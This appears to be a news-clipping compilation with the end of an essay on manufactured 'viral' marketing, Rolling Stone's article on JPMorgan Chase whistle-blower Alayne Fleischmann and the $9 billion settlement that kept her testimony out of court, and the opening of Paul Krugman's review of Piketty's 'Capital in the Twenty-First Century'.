That's why it feels so uncanny when such a brilliantly natural process gets hijacked by even the shrewdest of marketers. It's like if the best and brightest from some corporate giant proudly announce that they've built a puppy in a lab. On the one hand, it's still a puppy, right? On the other, its genes were spliced by the surgical-gloved Invisible Hand of the Market to appeal directly to the puppy-loving demographic. The lab-made puppy is real, just as the enthusiasm of tweens for a Target hottie is no doubt real. But nobody really wants to find out they're playing with a Frankenpuppy. And nobody wants to be handed an advertisement, then told it's part of a grassroots phenomenon. That's not ''viral''; it's just condescending.
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Bank$ters
The $9 Billion Witness: Meet JPMorgan Chase's Worst Nightmare | Rolling Stone
Fri, 07 Nov 2014 22:12
Meet the woman JPMorgan Chase paid one of the largest fines in American history to keep from talkingShe tried to stay quiet, she really did. But after eight years of keeping a heavy secret, the day came when Alayne Fleischmann couldn't take it anymore.
"It was like watching an old lady get mugged on the street," she says. "I thought, 'I can't sit by any longer.'"
Fleischmann is a tall, thin, quick-witted securities lawyer in her late thirties, with long blond hair, pale-blue eyes and an infectious sense of humor that has survived some very tough times. She's had to struggle to find work despite some striking skills and qualifications, a common symptom of a not-so-common condition called being a whistle-blower.
RelatedThe Vampire Squid Strikes Again
Fleischmann is the central witness in one of the biggest cases of white-collar crime in American history, possessing secrets that JPMorgan Chase CEO Jamie Dimon late last year paid $9 billion (not $13 billion as regularly reported '' more on that later) to keep the public from hearing.
Back in 2006, as a deal manager at the gigantic bank, Fleischmann first witnessed, then tried to stop, what she describes as "massive criminal securities fraud" in the bank's mortgage operations.
Thanks to a confidentiality agreement, she's kept her mouth shut since then. "My closest family and friends don't know what I've been living with," she says. "Even my brother will only find out for the first time when he sees this interview."
Six years after the crisis that cratered the global economy, it's not exactly news that the country's biggest banks stole on a grand scale. That's why the more important part of Fleischmann's story is in the pains Chase and the Justice Department took to silence her.
She was blocked at every turn: by asleep-on-the-job regulators like the Securities and Exchange Commission, by a court system that allowed Chase to use its billions to bury her evidence, and, finally, by officials like outgoing Attorney General Eric Holder, the chief architect of the crazily elaborate government policy of surrender, secrecy and cover-up. "Every time I had a chance to talk, something always got in the way," Fleischmann says.
This past year she watched as Holder's Justice Department struck a series of historic settlement deals with Chase, Citigroup and Bank of America. The root bargain in these deals was cash for secrecy. The banks paid big fines, without trials or even judges '' only secret negotiations that typically ended with the public shown nothing but vague, quasi-official papers called "statements of facts," which were conveniently devoid of anything like actual facts.
Jamie Dimon (Photo: Bloomberg/Getty)
And now, with Holder about to leave office and his Justice Department reportedly wrapping up its final settlements, the state is effectively putting the finishing touches on what will amount to a sweeping, industrywide effort to bury the facts of a whole generation of Wall Street corruption. "I could be sued into bankruptcy," she says. "I could lose my license to practice law. I could lose everything. But if we don't start speaking up, then this really is all we're going to get: the biggest financial cover-up in history."
Alayne Fleischmann grew up in Terrace, British Columbia, a snowbound valley town just a brisk 18-hour drive north of Vancouver. She excelled at school from a young age, making her way to Cornell Law School and then to Wall Street. Her decision to go into finance surprised those closest to her, as she had always had more idealistic ambitions. "I helped lead a group that wrote briefs to the Human Rights Chamber for those affected by ethnic cleansing in Bosnia-Herzegovina," she says. "My whole life prior to moving into securities law was human rights work."
But she had student loans to pay off, and so when Wall Street came knocking, that was that. But it wasn't like she was dragged into high finance kicking and screaming. She found she had a genuine passion for securities law and felt strongly she was doing a good thing. "There was nothing shady about the field back then," she says. "It was very respectable."
In 2006, after a few years at a white-shoe law firm, Fleischmann ended up at Chase. The mortgage market was white-hot. Banks like Chase, Bank of America and Citigroup were furiously buying up huge pools of home loans and repackaging them as mortgage securities. Like soybeans in processed food, these synthesized financial products wound up in everything, whether you knew it or not: your state's pension fund, another state's workers' compensation fund, maybe even the portfolio of the insurance company you were counting on to support your family if you got hit by a bus.
As a transaction manager, Fleischmann functioned as a kind of quality-control officer. Her main job was to help make sure the bank didn't buy spoiled merchandise before it got tossed into the meat grinder and sold out the other end.
A few months into her tenure, Fleischmann would later testify in a DOJ deposition, the bank hired a new manager for diligence, the group in charge of reviewing and clearing loans. Fleischmann quickly ran into a problem with this manager, technically one of her superiors. She says he told her and other employees to stop sending him e-mails. The department, it seemed, was wary of putting anything in writing when it came to its mortgage deals.
"I could lose everything. But if we don't start speaking up, we're going to get the biggest financial cover-up in history."
"If you sent him an e-mail, he would actually come out and yell at you," she recalls. "The whole point of having a compliance and diligence group is to have policies that are set out clearly in writing. So to have exactly the opposite of that '' that was very worrisome." One former high-ranking federal prosecutor said that if he were taking a criminal case to trial, the information about this e-mail policy would be crucial. "I would begin and end my opening statement with that," he says. "It shows these people knew what they were doing and were trying not to get caught."
In late 2006, not long after the "no e-mail" policy was implemented, Fleischmann and her group were asked to evaluate a packet of home loans from a mortgage originator called GreenPoint that was collectively worth about $900 million. Almost immediately, Fleischmann and some of the diligence managers who worked alongside her began to notice serious problems with this particular package of loans.
For one thing, the dates on many of them were suspiciously old. Normally, banks tried to turn loans into securities at warp speed. The idea was to go from a homeowner signing on the dotted line to an investor buying that loan in a pool of securities within two to three months. Thus it was a huge red flag to see Chase buying loans that were already seven or eight months old.
What this meant was that many of the loans in the GreenPoint deal had either been previously rejected by Chase or another bank, or were what are known as "early payment defaults." EPDs are loans that have already been sold to another bank and have been returned after the borrowers missed multiple payments. That's why the dates on them were so old.
In other words, this was the very bottom of the mortgage barrel. They were like used cars that had been towed back to the lot after throwing a rod. The industry had its own term for this sort of loan product: scratch and dent. As Chase later admitted, it not only ended up reselling hundreds of millions of dollars worth of those crappy loans to investors, it also sold them in a mortgage pool marketed as being above subprime, a type of loan called "Alt-A." Putting scratch-and-dent loans in an Alt-A security is a little like putting a fresh coat of paint on a bunch of junkyard wrecks and selling them as new cars. "Everything that I thought was bad at the time," Fleischmann says, "turned out to be a million times worse." (Chase declined to comment for this article.)
When Fleischmann and her team reviewed random samples of the loans, they found that around 40 percent of them were based on overstated incomes '' an astronomically high defect rate for any pool of mortgages; Chase's normal tolerance for error was five percent. One mortgage in particular that sticks out in Fleischmann's mind involved a manicurist who claimed to have an annual income of $117,000. Fleischmann figured that even working seven days a week, this woman would have needed to work 488 days a year to make that much. "And that's with no overhead," Fleischmann says. "It wasn't possible."
But when she and others raised objections to the toxic loans, something odd started happening. The number-crunchers who had been complaining about the loans suddenly began changing their reports. The process she describes is strikingly similar to the way police obtain false confessions: The interrogator verbally abuses the target until he starts producing the desired answers. "What happened," Fleischmann says, "is the head diligence manager started yelling at his team, berating them, making them do reports over and over, keeping them late at night." Then the loans started clearing.
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As late as December 11th, 2006, diligence managers had marked a full 33 percent of one loan sample as "stated income unreasonable for profession," meaning that it was nearly inevitable that there would be a high number of defaults. Several high-ranking executives were copied on this report.
Then, on December 15th, a Chase sales executive held a lengthy meeting with reps from GreenPoint and the diligence team to examine the remaining loans in the pool. When they got to the manicurist, Fleischmann remembers, one of the diligence guys finally caved under the pressure from the sales executive. "He had his hands up and just said, 'OK,' and he cleared it," says Fleischmann, adding that he was shaking his head "no" even as he was saying yes. Soon afterward, the error rate in the pool had magically dropped below 10 percent '' a threshold that itself had just been doubled to clear the way for this deal.
After that meeting, Fleischmann testified, she approached a managing director named Greg Boester and pleaded with him to reconsider. She says she told Boester that the bank could not sell the high-risk loans as low-risk securities without committing fraud. "You can't securitize these loans without special disclosure about what's wrong with them," Fleischmann told him, "and if you make that disclosure, no one will buy them."
A former Olympic ski jumper, Boester was such an important executive at Chase that when he later defected to the Chicago-based hedge fund Citadel, Dimon cut off trading with Citadel in retaliation. Boester eventually returned to Chase and is still there today despite his role in this affair.
This moment illustrates the most basic element of the case against Chase: The bank knowingly peddled products stuffed with scratch-and-dent loans to investors without disclosing the obvious defects with the underlying loans.
Years later, in its settlement with the Justice Department, Chase would admit that this conversation between Fleischmann and Boester took place (though neither was named; it was simply described as "an employee'‰.'‰.'‰.'‰told'‰.'‰.'‰.'‰a managing director") and that her warning was ignored when the bank sold those loans off to investors.
Photo: Illustration by Victor Juhasz
A few weeks later, in early 2007, she sent a long letter to another managing director, William Buell. In the letter, she warned Buell of the consequences of reselling these bad loans as securities and gave detailed descriptions of breakdowns in Chase's diligence process.
Fleischmann assumed this letter, which Chase lawyers would later jokingly nickname "The Howler" after the screaming missive from the Harry Potter books, would be enough to force the bank to stop selling the bad loans. "It used to be if you wrote a memo, they had to stop, because now there's proof that they knew what they were doing," she says. "But when the Justice Department doesn't do anything, that stops being a deterrent. I just didn't know that at the time."
In February 2008, less than two years after joining the bank, Fleischmann was quietly dismissed in a round of layoffs. A few months later, proof would appear that her bosses knew all along that the boom-era mortgage market was rotten. That September, as the market was crashing, Dimon boasted in a ball-washing Fortune article titled "Jamie Dimon's SWAT Team" that he knew well before the meltdown that the subprime market was toast. "We concluded that underwriting standards were deteriorating across the industry." The story tells of Dimon ordering Boester's boss, William King, to dump the bank's subprime holdings in October 2006. "Billy," Dimon says, "we need to sell a lot of our positions.'‰.'‰.'‰.'‰This stuff could go up in smoke!"
In other words, two full months before the bank rammed through the dirty GreenPoint deal over Fleischmann's objections, Chase's CEO was aware that loans like this were too dangerous for Chase itself to own. (Though Dimon was talking about subprime loans and GreenPoint was technically an Alt-A pool, the Fortune story shows that upper management had serious concerns about industry-wide underwriting problems.)
The ordinary citizen who is the target of a government investigation cannot pick up the phone, call the prosecutor and have his case dropped. But Dimon did just that.
In January 2010, when Dimon testified before the Financial Crisis Inquiry Commission, he told investigators the exact opposite story, portraying the poor Chase leadership as having been duped, just like the rest of us. "In mortgage underwriting," he said, "somehow we just missed, you know, that home prices don't go up forever."
When Fleischmann found out about all of this years later, she was shocked. Her confidentiality agreement at Chase didn't bar her from reporting a crime, but the problem was that she couldn't prove that Chase had committed a crime without knowing whether those bad loans had been sold.
As it turned out, of course, Chase was selling those rotten dog-meat loans all over the place. How bad were they? A single lawsuit by a single angry litigant gives some insight. In 2011, Chase was sued over massive losses suffered by a group of credit unions. One of them had invested $135 million in one of the bank's mortgage--backed securities. About 40 percent of the loans in that deal came from the GreenPoint pool.
The lawsuit alleged that in just the first year, the security suffered $51 million in losses, nearly 50 times what had been projected. It's hard to say how much of that was due to the GreenPoint loans. But this was just one security, one year, and the losses were in the tens of millions. And Chase did deal after deal with the same methodology. So did most of the other banks. It's theft on a scale that blows the mind.
In the spring of 2012, Fleischmann, who'd moved back to Canada after leaving Chase, was working at a law firm in Calgary when the phone rang. It was an investigator from the States. "Hi, I'm from the SEC," he said. "You weren't expecting to hear from me, were you?"
A few months earlier, President Obama, giving in to pressure from the Occupy movement and other reformers, had formed the Residential Mortgage-Backed Securities Working Group. At least superficially, this was a serious show of force against banks like Chase. The group would operate like a kind of regulatory Justice League, combining the superpowers of investigators from the SEC, the FBI, the IRS, HUD and a host of other federal agencies. It included noted anti-corruption- investigator and New York Attorney General Eric Schneiderman, which gave many observers reason to hope that finally something would be done about the crimes that led to the crash. That makes the fact that the bank would skate with negligible cash fines an even more extra-ordinary accomplishment.
New York Attorney General Eric Schneiderman (L) speaks whille Attorney General Eric Holder listens during a news conference at the Justice Department on January 27th, 2012. (Photo: Mark Wilson/Getty)
By the time the working group was set up, most of the applicable statutes of limitations had either expired or were about to expire. "A conspiratorial way of looking at it would be to say the state waited far too long to look at these cases and is now taking its sweet time investigating, while the last statutes of limitations run out," says famed prosecutor and former New York Attorney General Eliot Spitzer.
It soon became clear that the SEC wasn't so much investigating Chase's behavior as just checking boxes. Fleischmann received no follow-up phone calls, even though she told the investigator that she was willing to tell the SEC everything she knew about the systemic fraud at Chase. Instead, the SEC focused on a single transaction involving a mortgage company called WMC. "I kept trying to talk to them about GreenPoint," Fleischmann says, "but they just wanted to talk about that other deal."
The following year, the SEC would fine Chase $297 million for misrepresentations in the WMC deal. On the surface, it looked like a hefty punishment. In reality, it was a classic example of the piecemeal, cherry-picking style of justice that characterized the post-crisis era. "The kid-gloves approach that the DOJ and the SEC take with Wall Street is as inexplicable as it is indefensible," says Dennis Kelleher of the financial reform group Better Markets, which would later file suit challenging the Chase settlement. "They typically charge only one offense when there are dozens. It would be like charging a serial murderer with a single assault and giving them probation."
Soon Fleischmann's hopes were raised again. In late 2012 and early 2013, she had a pair of interviews with civil litigators from the U.S. attorney's office in the Eastern District of California, based in Sacramento.
One of the ongoing myths about the financial crisis is that the government is outmatched by the legal talent representing the banks. But Fleischmann was impressed by the lead attorney in her case, a litigator named Richard Elias. "He sounded like he had been a securities lawyer for 10 years," she says. "This actually looked like his idea of fun '' like he couldn't wait to run with this case."
She gave Elias and his team detailed information about everything she'd seen: the edict against e-mails, the sabotaging of the diligence process, the bullying, the written warnings that were ignored, all of it. She assumed that it wouldn't be long before the bank was hauled into court.
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Instead, the government decided to help Chase bury the evidence. It began when Holder's office scheduled a press conference for the morning of September 24th, 2013, to announce sweeping civil-fraud charges against the bank, all laid out in a detailed complaint drafted by the U.S. attorney's Sacramento office. But that morning the presser was suddenly canceled, and no complaint was filed. According to later news reports, Dimon had personally called Associate Attorney General Tony West, the third-ranking official in the Justice Department, and asked to reopen negotiations to settle the case out of court.
It goes without saying that the ordinary citizen who is the target of a government investigation cannot simply pick up the phone, call up the prosecutor in charge of his case and have a legal proceeding canceled. But Dimon did just that. "And he didn't just call the prosecutor, he called the prosecutor's boss," Fleischmann says. According to The New York Times, after Dimon had already offered $3 billion to settle the case and was turned down, he went to Holder's office and upped the offer, but apparently not by enough.
A few days later, Fleischmann, who had by then moved back to Vancouver and was looking for work, was at a mall when she saw a Wall Street Journal headline on her iPhone: JPMorgan Insider Helps U.S. in Probe. The story said that the government had a key witness, a female employee willing to provide damaging testimony about Chase's mortgage operations. Fleischmann was stunned. Until that moment, she had no idea that she was a major part of the government's case against Chase. And worse, nobody had bothered to warn her that she was about to be effectively outed in the newspapers. "The stress started to build after I saw that news," she says. "Especially as I waited to see if my name would come out and I watched my job possibilities evaporate."
Fleischmann later realized that the government wasn't interested in having her testify against Chase in court or any other public forum. Instead, the Justice Department's political wing, led by Holder, appeared to be using her, and her evidence, as a bargaining chip to extract more hush money from Dimon. It worked. Within weeks, Dimon had upped his offer to roughly $9 billion.
In late November, the two sides agreed on a settlement deal that covered a variety of misbehaviors, including the fraud that Fleischmann witnessed as well as similar episodes at Washington Mutual and Bear Stearns, two companies that Chase had acquired during the crisis (with federal bailout aid). The newspapers and the Justice Department described the deal as a "$13 billion settlement," hailing it as the biggest white-collar regulatory settlement in American history. The deal released Chase from civil liability. And, in what was described by The New York Times as a "major victory for the government," it left open the possibility that the Justice Department could pursue a further criminal investigation against the bank.
But the idea that Holder had cracked down on Chase was a carefully contrived fiction, one that has survived to this day. For starters, $4 billion of the settlement was largely an accounting falsehood, a chunk of bogus "consumer relief" added to make the payoff look bigger. What the public never grasped about these consumer--relief deals is that the "relief" is often not paid by the bank, which mostly just services the loans, but by the bank's other victims, i.e., the investors in their bad mortgage securities.
Moreover, in this case, a fine-print addendum indicated that this consumer relief would be allowed only if said investors agreed to it '' or if it would have been granted anyway under existing arrangements. This often comes down to either forgiving a small portion of a loan or giving homeowners a little extra time to pay up in full. "It's not real," says Fleischmann. "They structured it so that the homeowners only get relief if they would have gotten it anyway." She pauses. "If a loan shark gives you a few extra weeks to pay up, is that 'consumer relief'?"
The average person had no way of knowing what a terrible deal the Chase settlement was for the country. The terms were even lighter than the slap-on-the-wrist formula that allowed Wall Street banks to "neither admit nor deny" wrongdoing '' the deals that had helped spark the Occupy protests. Yet those notorious deals were like the Nuremberg hangings compared to the regulatory innovation that Holder's Justice Department cooked up for Dimon and Co.
Instead of a detailed complaint naming names, Chase was allowed to sign a flimsy, 10-and-a-half-page "statement of facts" that was: (a) so short, a first-year law student could read it in the time it takes to eat a tuna sandwich, and (b) so vague, a halfway intelligent person could read it and not know anyone had done anything wrong.
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The ink was barely dry on the deal before Chase would have the balls to insinuate its innocence. "The firm has not admitted to violations of the law," said CFO Marianne Lake. But the deal's most brazen innovation was the way it bypassed the judicial branch. Previously, federal regulators had had bad luck with judges when trying to dole out slap-on-the-wrist settlements to banks. In a pair of celebrated cases, an unpleasantly honest federal judge named Jed Rakoff had rejected sweetheart deals worked out between banks and slavish regulators and had commanded the state to go back to the drawing board and come up with real punishments.
Seemingly not wanting to deal with even the possibility of such a thing happening, Holder blew off the idea of showing the settlement to a judge. The settlement, says Kelleher, "was unprecedented in many ways, including being very carefully crafted to bypass the court system.'‰.'‰.'‰.'‰There can be little doubt that the DOJ and JP-Morgan were trying to avoid disclosure of their dirty deeds and prevent public scrutiny of their sweetheart deal." Kelleher asks a rhetorical question: "Can you imagine the outcry if [Bush-era Attorney General] Alberto Gonzales had gone into the backroom and given Halliburton immunity in exchange for a billion dollars?"
The deal was widely considered a good one for both sides, but Chase emerged with barely a scratch. First, the ludicrously nonspecific language surrounding the settlement put you, me and every other American taxpayer on the hook for roughly a quarter of Chase's check. Because most of the settlement monies were specifically not called fines or penalties, Chase was allowed to treat some $7 billion of the settlement as a tax write-off.
Couple this with the fact that the bank's share price soared six percent on news of the settlement, adding more than $12 billion in value to shareholders, and one could argue Chase actually made money from the deal. What's more, to defray the cost of this and other fines, Chase last year laid off 7,500 lower-level employees. Meanwhile, per-employee compensation for everyone else rose four percent, to $122,653. But no one made out better than Dimon. The board awarded a 74 percent raise to the man who oversaw the biggest regulatory penalty ever, upping his compensation package to about $20 million.
"The assumption they make is that I won't blow up my life to do it. But they're wrong about that."
While Holder was being lavishly praised for releasing Chase only from civil liability, Fleischmann knew something the rest of the world did not: The criminal investigation was going nowhere.
In the days leading up to Holder's November 19th announcement of the settlement, the Justice Department had asked Fleischmann to meet with criminal investigators. They would interview her very soon, they said, between December 15th and Christmas.
But December came and went with no follow-up from the DOJ. She began to wonder: If she was the government's key witness, how was it possible that they were still pursuing a criminal case without talking to her? "My concern," she says, "was that they were not investigating."
The government's failure to speak to Fleischmann lends credence to a theory about the Holder-Dimon settlement: It included a tacit agreement from the DOJ not to pursue criminal charges in earnest. It sounds outrageous, but it wouldn't be the first time that the government used a wink and a nod to dispose a bank of major liability without saying so publicly. Back in 2010, American Lawyer revealed Goldman Sachs wanted a full release from liability in a dozen crooked mortgage deals, while the SEC didn't want to give the bank such a big public victory. So the two sides quietly agreed to a grimy compromise: Goldman agreed to pay $550 million to settle a single case, and the SEC privately assured the bank that it wouldn't recommend charges in any of the other deals.
As Fleischmann was waiting for the Justice Department to call, Chase and its lawyers had been going to tremendous lengths to keep her muzzled. A number of major institutional investors had sued the bank in an effort to recover money lost in investing in Chase's fraud-ridden home loans. In October 2013, one of those investors '' the Fort Worth Employees' Retirement Fund '' asked a federal judge to force Chase to grant access to a series of current and former employees, including Fleischmann, whose status as a key cooperator in the federal investigation had made headlines in The Wall Street Journal and other major media outlets.
Photo: Spencer Platt/Getty
In response, Dorothy Spenner, an attorney representing Chase, told the court that Fleischmann was not a "relevant custodian." In other words, she couldn't testify to anything of importance. Federal Magistrate Judge James C. Francis IV took Chase's lawyers at their word and rejected the Fort Worth retirees' request for access to Fleischmann and her evidence.
Other investors bilked by Chase also tried to speak to Fleischmann. The Federal Home Loan Bank of Pittsburgh, which had sued Chase, asked the court to force Chase to turn over a copy of the draft civil complaint that was withheld after Holder's scuttled press conference. The Pittsburgh litigants also specified that they wanted access to the name of the state's cooperating witness: namely, Fleischmann.
In that case, the judge actually ordered Chase to turn over both the complaint and Fleischmann's name. Chase stalled. Later in the fall, the judge ordered the bank to produce the information again; it stalled some more.
Then, in January 2014, Chase suddenly settled with the Pittsburgh bank out of court for an undisclosed amount. Months after being ordered to allow Fleischmann to talk, they once again paid a stiff price to keep her testimony out of the public eye.
Chase's determination to hide its own dirt while forcing Fleischmann to keep her secret was becoming more and more absurd. "It was a hard time to look for work," she says. All that prospective employers knew was that she had worked in a department that had just been dinged with what was then the biggest regulatory fine in the history of capitalism. According to the terms of her confidentiality agreement, she couldn't even tell them that she'd tried to keep the bank from committing fraud.
Despite it all, Fleischmann still had faith that the Justice Department or some other federal agency would make things right. "I guess I was just a trusting person," she says. "I wasn't cynical. I kept hoping."
One day last spring, Fleischmann happened across a video of Holder giving a speech titled "No Company Is Too Big to Jail." It was classic Holder: full of weird prevarication, distracting eye twitches and other facial contortions. It began with the bold rejection of the idea that overly large financial institutions would receive preferential treatment from his Justice Department.
Then, within a few sentences, he seemed to contradict himself, arguing that one must apply a special sort of care when investigating supersize banks, tweaking the rules so as not to upset the world economy. "Federal prosecutors conducting these investigations," Holder said, "must go the extra mile to coordinate closely with the regulators who oversee these institutions' day-to-day operations." That is, he was saying, regulators have to agree not to allow automatic penalties to kick in, so that bad banks can stay in business.
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Fleischmann winced. Fully fluent in Holder's three-faced rhetoric after years of waiting for him to act, she felt that he was patting himself on the back for having helped companies survive crimes that otherwise might have triggered crippling regulatory penalties. As she watched in mounting outrage, Holder wrapped up his address with a less-than-reassuring pronouncement: "I am resolved to seeing [the investigations] through." Doing so, he added, would "reaffirm" his principles.
Or, as Fleischmann translates it: "I will personally stay on to make sure that no one can undo the cover-up that I've accomplished."
That's when she decided to break her silence. "I tried to go on with the things I was doing, but I just stopped sleeping and couldn't eat," she says. "It felt like I was trying to keep this secret and my body was literally rejecting it."
Ironically, over the summer, the government contacted her again. A new set of investigators interviewed her, appearing to have restarted the criminal case. Fleischmann won't comment on that investigation. Frustrated as she has been by the decisions of the higher-ups in Holder's Justice Department, she doesn't want to do anything to get in the way of investigators who might be working the case. But she emphasizes she still has reason to be deeply worried that nothing will be done. Even if the investigators build strong cases against executives who oversaw Chase's fraud, Holder or whoever succeeds him can still make the whole thing disappear by negotiating a soft landing for the company. "That's the thing I'm worried about," she says. "That they make the whole thing disappear. If they do that, the truth will never come out."
In September, at a speech at NYU, Holder defended the lack of prosecutions of top executives on the grounds that, in the corporate context, sometimes bad things just happen without actual people being responsible. "Responsibility remains so diffuse, and top executives so insulated," Holder said, "that any misconduct could again be considered more a symptom of the institution's culture than a result of the willful actions of any single individual."
In other words, people don't commit crimes, corporate culture commits crimes! It's probably fortunate that Holder is quitting before he has time to apply the same logic to Mafia or terrorism cases.
Fleischmann, for her part, had begun to find the whole situation almost funny.
"I thought, 'I swear, Eric Holder is gas-lighting me,''‰" she says.
Ask her where the crime was, and Fleischmann will point out exactly how her bosses at JPMorgan Chase committed criminal fraud: It's right there in the documents; just hand her a highlighter and some Post-it notes '' "We lawyers love flags" '' and you will not find a more enthusiastic tour guide through a gazillion-page prospectus than Alayne Fleischmann.
She believes the proof is easily there for all the elements of the crime as defined by federal law '' the bank made material misrepresentations, it made material omissions, and it did so willfully and with specific intent, consciously ignoring warnings from inside the firm and out.
She'd like to see something done about it, emphasizing that there still is time. The statute of limitations for wire fraud, for instance, has not run out, and she strongly believes there's a case there, against the bank's executives. She has no financial interest in any of this, no motive other than wanting the truth out. But more than anything, she wants it to be over.
In today's America, someone like Fleischmann '' an honest person caught for a little while in the wrong place at the wrong time '' has to be willing to live through an epic ordeal just to get to the point of being able to open her mouth and tell a truth or two. And when she finally gets there, she still has to risk everything to take that last step. "The assumption they make is that I won't blow up my life to do it," Fleischmann says. "But they're wrong about that."
Good for her, and great for her that it's finally out. But the big-picture ending still stings. She hopes otherwise, but the likely final verdict is a Pyrrhic victory.
Because after all this activity, all these court actions, all these penalties (both real and abortive), even after a fair amount of noise in the press, the target companies remain more ascendant than ever. The people who stole all those billions are still in place. And the bank is more untouchable than ever '' former Debevoise & Plimpton hotshots Mary Jo White and Andrew Ceresny, who represented Chase for some of this case, have since been named to the two top jobs at the SEC. As for the bank itself, its stock price has gone up since the settlement and flirts weekly with five-year highs. They may lose the odd battle, but the markets clearly believe the banks won the war. Truth is one thing, and if the right people fight hard enough, you might get to hear it from time to time. But justice is different, and still far enough away.
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Why We're in a New Gilded Age by Paul Krugman | The New York Review of Books
Sun, 09 Nov 2014 05:53
Capital in the Twenty-First Centuryby Thomas Piketty, translated from the French by Arthur Goldhammer
Belknap Press/Harvard University Press, 685 pp., $39.95
Thomas Piketty, professor at the Paris School of Economics, isn't a household name, although that may change with the English-language publication of his magnificent, sweeping meditation on inequality, Capital in the Twenty-First Century. Yet his influence runs deep. It has become a commonplace to say that we are living in a second Gilded Age'--or, as Piketty likes to put it, a second Belle ‰poque'--defined by the incredible rise of the ''one percent.'' But it has only become a commonplace thanks to Piketty's work. In particular, he and a few colleagues (notably Anthony Atkinson at Oxford and Emmanuel Saez at Berkeley) have pioneered statistical techniques that make it possible to track the concentration of income and wealth deep into the past'--back to the early twentieth century for America and Britain, and all the way to the late eighteenth century for France.
The result has been a revolution in our understanding of long-term trends in inequality. Before this revolution, most discussions of economic disparity more or less ignored the very rich. Some economists (not to mention politicians) tried to shout down any mention of inequality at all: ''Of the tendencies that are harmful to sound economics, the most seductive, and in my opinion the most poisonous, is to focus on questions of distribution,'' declared Robert Lucas Jr. of the University of Chicago, the most influential macroeconomist of his generation, in 2004. But even those willing to discuss inequality generally focused on the gap between the poor or the working class and the merely well-off, not the truly rich'--on college graduates whose wage gains outpaced those of less-educated workers, or on the comparative good fortune of the top fifth of the population compared with the bottom four fifths, not on the rapidly rising incomes of executives and bankers.
It therefore came as a revelation when Piketty and his colleagues showed that incomes of the now famous ''one percent,'' and of even narrower groups, are actually the big story in rising inequality. And this discovery came with a second revelation: talk of a second Gilded Age, which might have seemed like hyperbole, was nothing of the kind. In America in particular the share of national income going to the top one percent has followed a great U-shaped arc. Before World War I the one percent received around a fifth of total income in both Britain and the United States. By 1950 that share had been cut by more than half. But since 1980 the one percent has seen its income share surge again'--and in the United States it's back to what it was a century ago.
Still, today's economic elite is very different from that of the nineteenth century, isn't it? Back then, great wealth tended to be inherited; aren't today's economic elite people who earned their position? Well, Piketty tells us that this isn't as true as you think, and that in any case this state of affairs may prove no more durable than the middle-class society that flourished for a generation after World War II. The big idea of Capital in the Twenty-First Century is that we haven't just gone back to nineteenth-century levels of income inequality, we're also on a path back to ''patrimonial capitalism,'' in which the commanding heights of the economy are controlled not by talented individuals but by family dynasties.
It's a remarkable claim'--and precisely because it's so remarkable, it needs to be examined carefully and critically. Before I get into that, however, let me say right away that Piketty has written a truly superb book. It's a work that melds grand historical sweep'--when was the last time you heard an economist invoke Jane Austen and Balzac?'--with painstaking data analysis. And even though Piketty mocks the economics profession for its ''childish passion for mathematics,'' underlying his discussion is a tour de force of economic modeling, an approach that integrates the analysis of economic growth with that of the distribution of income and wealth. This is a book that will change both the way we think about society and the way we do economics.
1.What do we know about economic inequality, and about when do we know it? Until the Piketty revolution swept through the field, most of what we knew about income and wealth inequality came from surveys, in which randomly chosen households are asked to fill in a questionnaire, and their answers are tallied up to produce a statistical portrait of the whole. The international gold standard for such surveys is the annual survey conducted once a year by the Census Bureau. The Federal Reserve also conducts a triennial survey of the distribution of wealth.
These two surveys are an essential guide to the changing shape of American society. Among other things, they have long pointed to a dramatic shift in the process of US economic growth, one that started around 1980. Before then, families at all levels saw their incomes grow more or less in tandem with the growth of the economy as a whole. After 1980, however, the lion's share of gains went to the top end of the income distribution, with families in the bottom half lagging far behind.
Historically, other countries haven't been equally good at keeping track of who gets what; but this situation has improved over time, in large part thanks to the efforts of the Luxembourg Income Study (with which I will soon be affiliated). And the growing availability of survey data that can be compared across nations has led to further important insights. In particular, we now know both that the United States has a much more unequal distribution of income than other advanced countries and that much of this difference in outcomes can be attributed directly to government action. European nations in general have highly unequal incomes from market activity, just like the United States, although possibly not to the same extent. But they do far more redistribution through taxes and transfers than America does, leading to much less inequality in disposable incomes.
Yet for all their usefulness, survey data have important limitations. They tend to undercount or miss entirely the income that accrues to the handful of individuals at the very top of the income scale. They also have limited historical depth. Even US survey data only take us to 1947.
Enter Piketty and his colleagues, who have turned to an entirely different source of information: tax records. This isn't a new idea. Indeed, early analyses of income distribution relied on tax data because they had little else to go on. Piketty et al. have, however, found ways to merge tax data with other sources to produce information that crucially complements survey evidence. In particular, tax data tell us a great deal about the elite. And tax-based estimates can reach much further into the past: the United States has had an income tax since 1913, Britain since 1909. France, thanks to elaborate estate tax collection and record-keeping, has wealth data reaching back to the late eighteenth century.
Exploiting these data isn't simple. But by using all the tricks of the trade, plus some educated guesswork, Piketty is able to produce a summary of the fall and rise of extreme inequality over the course of the past century. It looks like Table 1 on this page.
As I said, describing our current era as a new Gilded Age or Belle ‰poque isn't hyperbole; it's the simple truth. But how did this happen?
2.Piketty throws down the intellectual gauntlet right away, with his book's very title: Capital in the Twenty-First Century. Are economists still allowed to talk like that?
It's not just the obvious allusion to Marx that makes this title so startling. By invoking capital right from the beginning, Piketty breaks ranks with most modern discussions of inequality, and hearkens back to an older tradition.
The general presumption of most inequality researchers has been that earned income, usually salaries, is where all the action is, and that income from capital is neither important nor interesting. Piketty shows, however, that even today income from capital, not earnings, predominates at the top of the income distribution. He also shows that in the past'--during Europe's Belle ‰poque and, to a lesser extent, America's Gilded Age'--unequal ownership of assets, not unequal pay, was the prime driver of income disparities. And he argues that we're on our way back to that kind of society. Nor is this casual speculation on his part. For all that Capital in the Twenty-First Century is a work of principled empiricism, it is very much driven by a theoretical frame that attempts to unify discussion of economic growth and the distribution of both income and wealth. Basically, Piketty sees economic history as the story of a race between capital accumulation and other factors driving growth, mainly population growth and technological progress.
To be sure, this is a race that can have no permanent victor: over the very long run, the stock of capital and total income must grow at roughly the same rate. But one side or the other can pull ahead for decades at a time. On the eve of World War I, Europe had accumulated capital worth six or seven times national income. Over the next four decades, however, a combination of physical destruction and the diversion of savings into war efforts cut that ratio in half. Capital accumulation resumed after World War II, but this was a period of spectacular economic growth'--the Trente Glorieuses, or ''Glorious Thirty'' years; so the ratio of capital to income remained low. Since the 1970s, however, slowing growth has meant a rising capital ratio, so capital and wealth have been trending steadily back toward Belle ‰poque levels. And this accumulation of capital, says Piketty, will eventually recreate Belle ‰poque''style inequality unless opposed by progressive taxation.
Why? It's all about r versus g'--the rate of return on capital versus the rate of economic growth.
